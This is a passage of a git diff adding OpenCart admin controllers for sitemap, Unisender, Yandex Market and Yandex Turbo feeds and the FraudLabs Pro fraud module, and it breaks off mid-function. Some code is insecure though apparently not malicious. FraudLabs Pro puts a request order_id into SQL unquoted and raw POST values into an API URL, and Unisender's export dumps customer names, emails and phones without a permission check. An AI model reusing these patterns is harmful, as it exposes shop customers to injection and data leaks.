+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/google_sitemap_fast', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/google_sitemap_fast', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_google_sitemap_fast_status'])) {
+ $data['feed_google_sitemap_fast_status'] = $this->request->post['feed_google_sitemap_fast_status'];
+ } else {
+ $data['feed_google_sitemap_fast_status'] = $this->config->get('feed_google_sitemap_fast_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/google_sitemap_fast';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/google_sitemap_fast', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/google_sitemap_fast')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/feed/unisender.php b/public/admin/controller/extension/feed/unisender.php
new file mode 100644
index 0000000..243646f
--- /dev/null
+++ b/public/admin/controller/extension/feed/unisender.php
@@ -0,0 +1,162 @@
+request->get['key'];
+ $ch = curl_init ('https://api.unisender.com/ru/api/getLists?format=json&api_key='.$key) ;
+ curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ;
+ $res = curl_exec ($ch) ;
+ curl_close ($ch) ;
+ echo $res;
+ }
+
+ public function index() {
+ $this->load->language('extension/feed/unisender');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ if ($this->validate($this->request->post)) {
+ $this->model_setting_setting->editSetting('feed_unisender', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL'));
+ }
+ }
+
+ $this->tdata['heading_title'] = $this->language->get('heading_title');
+ $this->tdata['breadcrumbs'] = $this->getBreadCrumbs();
+ $this->tdata['button_save'] = $this->language->get('button_save');
+ $this->tdata['button_cancel'] = $this->language->get('button_cancel');
+ $this->tdata['text_enabled'] = $this->language->get('text_enabled');
+ $this->tdata['text_disabled'] = $this->language->get('text_disabled');
+ $this->tdata['text_export'] = $this->language->get('text_export');
+ $this->tdata['user_token'] = $this->session->data['user_token'];
+ $this->tdata['text_edit'] = $this->language->get('text_edit');
+ $this->tdata['text_get_key'] = $this->language->get('text_get_key');
+ $this->tdata['text_unselect'] = $this->language->get('text_unselect');
+
+ if (isset($this->error['warning'])) {
+ $this->tdata['error_warning'] = $this->error['warning'];
+ } else {
+ $this->tdata['error_warning'] = '';
+ }
+ $this->tdata['_error'] = $this->error;
+
+ $this->tdata['action'] = $this->url->link('extension/feed/unisender', 'user_token=' . $this->session->data['user_token'], 'SSL');
+
+ $this->tdata['export'] = $this->url->link('extension/feed/unisender/export', 'user_token=' . $this->session->data['user_token'], 'SSL');
+
+ $this->tdata['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL');
+
+ $defaults = array(
+ 'feed_unisender_key' => '',
+ 'feed_unisender_subscribtion' => array(),
+ 'feed_unisender_status' => '',
+ 'feed_unisender_ignore' => '',
+ );
+ foreach ($defaults as $key=>$value) {
+ if (isset($this->request->post[$key])) {
+ $defautls[$key] = $this->request->post[$key];
+ }
+ else {
+ $defautls[$key] = $this->config->get($key);
+ }
+ $this->tdata[$key] = $defautls[$key];
+ $this->tdata['entry_'.$key] = $this->language->get('entry_'.$key);
+ if ($this->language->get('entry_'.$key.'_help')) {
+ $this->tdata['entry_'.$key.'_help'] = $this->language->get('entry_'.$key.'_help');
+ }
+ }
+
+ $template = 'extension/feed/unisender';
+ $this->children = array(
+ 'common/header',
+ 'common/footer'
+ );
+
+ $this->tdata['header'] = $this->load->controller('common/header');
+ $this->tdata['column_left'] = $this->load->controller('common/column_left');
+ $this->tdata['footer'] = $this->load->controller('common/footer');
+ $this->response->setOutput($this->load->view($template, $this->tdata));
+ }
+
+ public function export() {
+ header( 'Content-Type: text/csv' );
+ header( 'Content-Disposition: attachment;filename=unisender_contacts.csv');
+ $fp = fopen('php://output', 'w');
+
+ $query = $this->db->query("SELECT CONCAT_WS(' ', firstname, lastname), email, telephone FROM `" . DB_PREFIX . "order` ORDER BY order_id");
+ foreach ($query->rows as $row) {
+ fputcsv($fp, $row);
+ }
+ fclose($fp);
+ }
+
+ public function install() {
+ $this->load->model('setting/event');
+ $this->model_setting_event->addEvent('unisender_subscribe', 'catalog/model/account/customer/addCustomer/after', 'extension/feed/unisender/subscribe_customer');
+ $this->model_setting_event->addEvent('unisender_update', 'catalog/model/account/customer/editNewsletter/after', 'extension/feed/unisender/update');
+ $this->model_setting_event->addEvent('unisender_guest', 'catalog/model/checkout/order/addOrderHistory/before', 'extension/feed/unisender/subscribe_guest');
+ }
+
+ public function uninstall() {
+ $this->load->model('setting/event');
+ $this->model_setting_event->deleteEvent('unisender_subscribe');
+ $this->model_setting_event->deleteEvent('unisender_update');
+ $this->model_setting_event->deleteEvent('unisender_guest');
+ }
+
+ private function validate($post_data) {
+ if (!$this->user->hasPermission('modify', 'extension/feed/unisender')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+ if (!$post_data['feed_unisender_key']) {
+ $this->error['warning'] = $this->language->get('error_form');
+ $this->error['unisender_key'] = $this->language->get('error_empty_field');
+ }
+
+ if (!$this->error || !sizeof($this->error)) {
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+ private function getBreadCrumbs() {
+ $breadcrumbs = array();
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/home', 'user_token=' . $this->session->data['user_token'], 'SSL'),
+ 'separator' => false
+ );
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('text_module'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', 'SSL'),
+ 'separator' => ' :: '
+ );
+
+ $breadcrumbs[] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/unisender', 'user_token=' . $this->session->data['user_token'], 'SSL'),
+ 'separator' => ' :: '
+ );
+
+ return $breadcrumbs;
+ }
+}
+?>
diff --git a/public/admin/controller/extension/feed/yandex_market.php b/public/admin/controller/extension/feed/yandex_market.php
new file mode 100644
index 0000000..030bf6a
--- /dev/null
+++ b/public/admin/controller/extension/feed/yandex_market.php
@@ -0,0 +1,311 @@
+load->language('extension/feed/yandex_market');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && ($this->validate())) {
+ if (isset($this->request->post['feed_yandex_market_categories'])) {
+ $this->request->post['feed_yandex_market_categories'] = implode(',', $this->request->post['feed_yandex_market_categories']);
+ }
+
+ if (isset($this->request->post['feed_yandex_market_manufacturers'])) {
+ $this->request->post['feed_yandex_market_manufacturers'] = implode(',', $this->request->post['feed_yandex_market_manufacturers']);
+ }
+
+ $this->model_setting_setting->editSetting('feed_yandex_market', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['error_image_width'])) {
+ $data['error_image_width'] = $this->error['error_image_width'];
+ } else {
+ $data['error_image_width'] = '';
+ }
+
+ if (isset($this->error['error_image_height'])) {
+ $data['error_image_height'] = $this->error['error_image_height'];
+ } else {
+ $data['error_image_height'] = '';
+ }
+
+ if (isset($this->error['error_image_width_min'])) {
+ $data['error_image_width_min'] = $this->error['error_image_width_min'];
+ } else {
+ $data['error_image_width_min'] = '';
+ }
+
+ if (isset($this->error['error_image_height_min'])) {
+ $data['error_image_height_min'] = $this->error['error_image_height_min'];
+ } else {
+ $data['error_image_height_min'] = '';
+ }
+
+ if (isset($this->error['error_image_width_max'])) {
+ $data['error_image_width_max'] = $this->error['error_image_width_max'];
+ } else {
+ $data['error_image_width_max'] = '';
+ }
+
+ if (isset($this->error['error_image_height_max'])) {
+ $data['error_image_height_max'] = $this->error['error_image_height_max'];
+ } else {
+ $data['error_image_height_max'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_feed'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/yandex_market', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/yandex_market', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ if (isset($this->request->post['feed_yandex_market_status'])) {
+ $data['feed_yandex_market_status'] = $this->request->post['feed_yandex_market_status'];
+ } else {
+ $data['feed_yandex_market_status'] = $this->config->get('feed_yandex_market_status');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_secret_key'])) {
+ $data['feed_yandex_market_secret_key'] = $this->request->post['feed_yandex_market_secret_key'];
+ } else {
+ $data['feed_yandex_market_secret_key'] = $this->config->get('feed_yandex_market_secret_key');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_shopname'])) {
+ $data['feed_yandex_market_shopname'] = $this->request->post['feed_yandex_market_shopname'];
+ } else {
+ $data['feed_yandex_market_shopname'] = $this->config->get('feed_yandex_market_shopname');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_company'])) {
+ $data['feed_yandex_market_company'] = $this->request->post['feed_yandex_market_company'];
+ } else {
+ $data['feed_yandex_market_company'] = $this->config->get('feed_yandex_market_company');
+ }
+
+ if (isset($this->request->post['feed_yandex_market_id'])) {
+ $data['feed_yandex_market_id'] = $this->request->post['feed_yandex_market_id'];
+ } elseif ($this->config->has('feed_yandex_market_id')) {
+ $data['feed_yandex_market_id'] = $this->config->get('feed_yandex_market_id');
+ } else {
+ $data['feed_yandex_market_id'] = 'product_id';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_type'])) {
+ $data['feed_yandex_market_type'] = $this->request->post['feed_yandex_market_type'];
+ } else {
+ $data['feed_yandex_market_type'] = $this->config->get('feed_yandex_market_type');
+ }
+
+ $data['code_man'] = array('not_unload', 'name', 'meta_h1', 'meta_title', 'meta_keyword', 'meta_description', 'model', 'sku', 'upc', 'ean', 'jan', 'isbn', 'mpn', 'location');
+
+ if (isset($this->request->post['feed_yandex_market_name'])) {
+ $data['feed_yandex_market_name'] = $this->request->post['feed_yandex_market_name'];
+ } elseif ($this->config->has('feed_yandex_market_name')) {
+ $data['feed_yandex_market_name'] = $this->config->get('feed_yandex_market_name');
+ } else {
+ $data['feed_yandex_market_name'] = 'name';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_model'])) {
+ $data['feed_yandex_market_model'] = $this->request->post['feed_yandex_market_model'];
+ } elseif ($this->config->has('feed_yandex_market_model')) {
+ $data['feed_yandex_market_model'] = $this->config->get('feed_yandex_market_model');
+ } else {
+ $data['feed_yandex_market_model'] = 'model';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_vendorcode'])) {
+ $data['feed_yandex_market_vendorcode'] = $this->request->post['feed_yandex_market_vendorcode'];
+ } elseif ($this->config->has('feed_yandex_market_vendorcode')) {
+ $data['feed_yandex_market_vendorcode'] = $this->config->get('feed_yandex_market_vendorcode');
+ } else {
+ $data['feed_yandex_market_vendorcode'] = 'sku';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image'])) {
+ $data['feed_yandex_market_image'] = $this->request->post['feed_yandex_market_image'];
+ } elseif ($this->config->has('feed_yandex_market_image')) {
+ $data['feed_yandex_market_image'] = $this->config->get('feed_yandex_market_image');
+ } else {
+ $data['feed_yandex_market_image'] = '1';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_width'])) {
+ $data['feed_yandex_market_image_width'] = $this->request->post['feed_yandex_market_image_width'];
+ } elseif ($this->config->has('feed_yandex_market_image_width')) {
+ $data['feed_yandex_market_image_width'] = $this->config->get('feed_yandex_market_image_width');
+ } else {
+ $data['feed_yandex_market_image_width'] = '600';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_height'])) {
+ $data['feed_yandex_market_image_height'] = $this->request->post['feed_yandex_market_image_height'];
+ } elseif ($this->config->has('feed_yandex_market_image_height')) {
+ $data['feed_yandex_market_image_height'] = $this->config->get('feed_yandex_market_image_height');
+ } else {
+ $data['feed_yandex_market_image_height'] = '600';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_image_quantity'])) {
+ $data['feed_yandex_market_image_quantity'] = $this->request->post['feed_yandex_market_image_quantity'];
+ } elseif ($this->config->has('feed_yandex_market_image_quantity')) {
+ $data['feed_yandex_market_image_quantity'] = $this->config->get('feed_yandex_market_image_quantity');
+ } else {
+ $data['feed_yandex_market_image_quantity'] = '10';
+ }
+
+ if (isset($this->request->post['feed_yandex_market_main_category'])) {
+ $data['feed_yandex_market_main_category'] = $this->request->post['feed_yandex_market_main_category'];
+ } elseif ($this->config->has('feed_yandex_market_main_category')) {
+ $data['feed_yandex_market_main_category'] = $this->config->get('feed_yandex_market_main_category');
+ } else {
+ $data['feed_yandex_market_main_category'] = '1';
+ }
+
+ $this->load->model('catalog/category');
+
+ $data['categories'] = $this->model_catalog_category->getCategories(0);
+
+ if (isset($this->request->post['feed_yandex_market_categories'])) {
+ $data['feed_yandex_market_categories'] = $this->request->post['feed_yandex_market_categories'];
+ } elseif ($this->config->has('feed_yandex_market_categories')) {
+ $data['feed_yandex_market_categories'] = explode(',', $this->config->get('feed_yandex_market_categories'));
+ } else {
+ $data['feed_yandex_market_categories'] = array();
+ }
+
+ $this->load->model('catalog/manufacturer');
+
+ $data['manufacturers'] = $this->model_catalog_manufacturer->getManufacturers(0);
+
+ if (isset($this->request->post['feed_yandex_market_manufacturers'])) {
+ $data['feed_yandex_market_manufacturers'] = $this->request->post['feed_yandex_market_manufacturers'];
+ } elseif ($this->config->has('feed_yandex_market_manufacturers')) {
+ $data['feed_yandex_market_manufacturers'] = explode(',', $this->config->get('feed_yandex_market_manufacturers'));
+ } else {
+ $data['feed_yandex_market_manufacturers'] = array();
+ }
+
+ $this->load->model('localisation/currency');
+
+ $currencies = $this->model_localisation_currency->getCurrencies();
+
+ $allowed_currencies = array_flip(array('RUR', 'RUB', 'USD', 'BYN', 'BYR', 'KZT', 'EUR', 'UAH'));
+
+ $data['currencies'] = array_intersect_key($currencies, $allowed_currencies);
+
+ if (isset($this->request->post['feed_yandex_market_currency'])) {
+ $data['feed_yandex_market_currency'] = $this->request->post['feed_yandex_market_currency'];
+ } else {
+ $data['feed_yandex_market_currency'] = $this->config->get('feed_yandex_market_currency');
+ }
+
+ $this->load->model('localisation/stock_status');
+
+ $data['stock_statuses'] = $this->model_localisation_stock_status->getStockStatuses();
+
+ if (isset($this->request->post['feed_yandex_market_in_stock'])) {
+ $data['feed_yandex_market_in_stock'] = $this->request->post['feed_yandex_market_in_stock'];
+ } elseif ($this->config->get('feed_yandex_market_in_stock')) {
+ $data['feed_yandex_market_in_stock'] = $this->config->get('feed_yandex_market_in_stock');
+ } else {
+ $data['feed_yandex_market_in_stock'] = 7;
+ }
+
+ if (isset($this->request->post['feed_yandex_market_out_of_stock'])) {
+ $data['feed_yandex_market_out_of_stock'] = $this->request->post['feed_yandex_market_out_of_stock'];
+ } elseif ($this->config->get('feed_yandex_market_out_of_stock')) {
+ $data['feed_yandex_market_out_of_stock'] = $this->config->get('feed_yandex_market_out_of_stock');
+ } else {
+ $data['feed_yandex_market_out_of_stock'] = 5;
+ }
+
+ if (isset($this->request->post['feed_yandex_market_quantity_status'])) {
+ $data['feed_yandex_market_quantity_status'] = $this->request->post['feed_yandex_market_quantity_status'];
+ } else {
+ $data['feed_yandex_market_quantity_status'] = $this->config->get('feed_yandex_market_quantity_status');
+ }
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/yandex_market' . ($this->config->get('feed_yandex_market_secret_key') ? '&secret_key=' . $this->config->get('feed_yandex_market_secret_key') : false);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/yandex_market', $data));
+ }
+
+ private function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/yandex_market')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['feed_yandex_market_image_width']) {
+ $this->error['error_image_width'] = $this->language->get('error_image_width');
+ }
+
+ if (!$this->request->post['feed_yandex_market_image_height']) {
+ $this->error['error_image_height'] = $this->language->get('error_image_height');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_width'] < 250) {
+ $this->error['error_image_width_min'] = $this->language->get('error_image_width_min');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_height'] < 250) {
+ $this->error['error_image_height_min'] = $this->language->get('error_image_height_min');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_width'] > 3500) {
+ $this->error['error_image_width_max'] = $this->language->get('error_image_width_max');
+ }
+
+ if ($this->request->post['feed_yandex_market_image_height'] > 3500) {
+ $this->error['error_image_height_max'] = $this->language->get('error_image_height_max');
+ }
+
+ if (!$this->error) {
+ return TRUE;
+ } else {
+ return FALSE;
+ }
+ }
+}
diff --git a/public/admin/controller/extension/feed/yandex_turbo.php b/public/admin/controller/extension/feed/yandex_turbo.php
new file mode 100644
index 0000000..0bd7e68
--- /dev/null
+++ b/public/admin/controller/extension/feed/yandex_turbo.php
@@ -0,0 +1,85 @@
+load->language('extension/feed/yandex_turbo');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('feed_yandex_turbo', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/feed/yandex_turbo', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/feed/yandex_turbo', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=feed', true);
+
+ $this->load->model('localisation/currency');
+ $currencies = $this->model_localisation_currency->getCurrencies();
+ $allowed_currencies = array_flip($this->allowed);
+ $data['currencies'] = array_intersect_key($currencies, $allowed_currencies);
+
+ if (isset($this->request->post['feed_yandex_turbo_status'])) {
+ $data['feed_yandex_turbo_status'] = $this->request->post['feed_yandex_turbo_status'];
+ } else {
+ $data['feed_yandex_turbo_status'] = $this->config->get('feed_yandex_turbo_status');
+ }
+
+ if (isset($this->request->post['feed_yandex_turbo_currency'])) {
+ $data['feed_yandex_turbo_currency'] = $this->request->post['feed_yandex_turbo_currency'];
+ } else {
+ $data['feed_yandex_turbo_currency'] = $this->config->get('feed_yandex_turbo_currency');
+ }
+
+ $data['entry_currency'] = $this->language->get('entry_currency');
+ $data['entry_made'] = $this->language->get('entry_made');
+
+ $data['data_feed'] = HTTP_CATALOG . 'index.php?route=extension/feed/yandex_turbo';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/feed/yandex_turbo', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/feed/yandex_turbo')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/fraud/fraudlabspro.php b/public/admin/controller/extension/fraud/fraudlabspro.php
new file mode 100644
index 0000000..c17eda0
--- /dev/null
+++ b/public/admin/controller/extension/fraud/fraudlabspro.php
@@ -0,0 +1,331 @@
+load->language('extension/fraud/fraudlabspro');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_fraudlabspro', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/fraudlabspro', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/fraudlabspro', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_fraudlabspro_key'])) {
+ $data['fraud_fraudlabspro_key'] = $this->request->post['fraud_fraudlabspro_key'];
+ } else {
+ $data['fraud_fraudlabspro_key'] = $this->config->get('fraud_fraudlabspro_key');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_score'])) {
+ $data['fraud_fraudlabspro_score'] = $this->request->post['fraud_fraudlabspro_score'];
+ } else {
+ $data['fraud_fraudlabspro_score'] = $this->config->get('fraud_fraudlabspro_score');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_order_status_id'])) {
+ $data['fraud_fraudlabspro_order_status_id'] = $this->request->post['fraud_fraudlabspro_order_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_order_status_id'] = $this->config->get('fraud_fraudlabspro_order_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_review_status_id'])) {
+ $data['fraud_fraudlabspro_review_status_id'] = $this->request->post['fraud_fraudlabspro_review_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_review_status_id'] = $this->config->get('fraud_fraudlabspro_review_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_approve_status_id'])) {
+ $data['fraud_fraudlabspro_approve_status_id'] = $this->request->post['fraud_fraudlabspro_approve_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_approve_status_id'] = $this->config->get('fraud_fraudlabspro_approve_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_reject_status_id'])) {
+ $data['fraud_fraudlabspro_reject_status_id'] = $this->request->post['fraud_fraudlabspro_reject_status_id'];
+ } else {
+ $data['fraud_fraudlabspro_reject_status_id'] = $this->config->get('fraud_fraudlabspro_reject_status_id');
+ }
+
+ if (isset($this->request->post['fraud_fraudlabspro_simulate_ip'])) {
+ $data['fraud_fraudlabspro_simulate_ip'] = $this->request->post['fraud_fraudlabspro_simulate_ip'];
+ } else {
+ $data['fraud_fraudlabspro_simulate_ip'] = $this->config->get('fraud_fraudlabspro_simulate_ip');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_fraudlabspro_status'])) {
+ $data['fraud_fraudlabspro_status'] = $this->request->post['fraud_fraudlabspro_status'];
+ } else {
+ $data['fraud_fraudlabspro_status'] = $this->config->get('fraud_fraudlabspro_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/fraudlabspro', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ $this->model_extension_fraud_fraudlabspro->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ $this->model_extension_fraud_fraudlabspro->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/fraudlabspro')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['fraud_fraudlabspro_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ public function order() {
+ $this->load->language('extension/fraud/fraudlabspro');
+
+ $this->load->model('extension/fraud/fraudlabspro');
+
+ // Action of the Approve/Reject button click
+ if (isset($_POST['flp_id'])){
+ $flp_status = $_POST['new_status'];
+ $data['flp_status'] = $flp_status;
+
+ //Feedback FLP status to server
+ $fraud_fraudlabspro_key = $this->config->get('fraud_fraudlabspro_key');
+
+ for($i=0; $i<3; $i++){
+ $result = @file_get_contents('https://api.fraudlabspro.com/v1/order/feedback?key=' . $fraud_fraudlabspro_key . '&format=json&id=' . $_POST['flp_id'] . '&action=' . $flp_status);
+
+ if($result) break;
+ }
+
+ // Update fraud status into table
+ $this->db->query("UPDATE `" . DB_PREFIX . "fraudlabspro` SET fraudlabspro_status = '" . $this->db->escape($flp_status) . "' WHERE order_id = " . $this->db->escape($this->request->get['order_id']));
+
+ //Update history record
+ if (strtolower($flp_status) == 'approve'){
+ $data_temp = array(
+ 'order_status_id'=>$this->config->get('fraud_fraudlabspro_approve_status_id'),
+ 'notify'=>0,
+ 'comment'=>'Approved using FraudLabs Pro.'
+ );
+
+ $this->model_extension_fraud_fraudlabspro->addOrderHistory($this->request->get['order_id'], $data_temp);
+ }
+ else if (strtolower($flp_status) == "reject"){
+ $data_temp = array(
+ 'order_status_id'=>$this->config->get('fraud_fraudlabspro_reject_status_id'),
+ 'notify'=>0,
+ 'comment'=>'Rejected using FraudLabs Pro.'
+ );
+
+ $this->model_extension_fraud_fraudlabspro->addOrderHistory($this->request->get['order_id'], $data_temp);
+ }
+ }
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $fraud_info = $this->model_extension_fraud_fraudlabspro->getOrder($order_id);
+
+ if ($fraud_info) {
+ if ($fraud_info['ip_address']) {
+ $data['flp_ip_address'] = $fraud_info['ip_address'];
+ } else {
+ $data['flp_ip_address'] = '';
+ }
+
+ if ($fraud_info['ip_netspeed']) {
+ $data['flp_ip_net_speed'] = $fraud_info['ip_netspeed'];
+ } else {
+ $data['flp_ip_net_speed'] = '';
+ }
+
+ if ($fraud_info['ip_isp_name']) {
+ $data['flp_ip_isp_name'] = $fraud_info['ip_isp_name'];
+ } else {
+ $data['flp_ip_isp_name'] = '';
+ }
+
+ if ($fraud_info['ip_usage_type']) {
+ $data['flp_ip_usage_type'] = $fraud_info['ip_usage_type'];
+ } else {
+ $data['flp_ip_usage_type'] = '';
+ }
+
+ if ($fraud_info['ip_domain']) {
+ $data['flp_ip_domain'] = $fraud_info['ip_domain'];
+ } else {
+ $data['flp_ip_domain'] = '';
+ }
+
+ if ($fraud_info['ip_timezone']) {
+ $data['flp_ip_time_zone'] = $fraud_info['ip_timezone'];
+ } else {
+ $data['flp_ip_time_zone'] = '';
+ }
+
+ if ($fraud_info['ip_country']) {
+ $data['flp_ip_location'] = $this->fix_case($fraud_info['ip_continent']) . ", " . $fraud_info['ip_country'] . ", " . $fraud_info['ip_region'] . ", " . $fraud_info['ip_city'] . " [Map] ";
+ } else {
+ $data['flp_ip_location'] = '-';
+ }
+
+ if ($fraud_info['distance_in_mile'] != '-') {
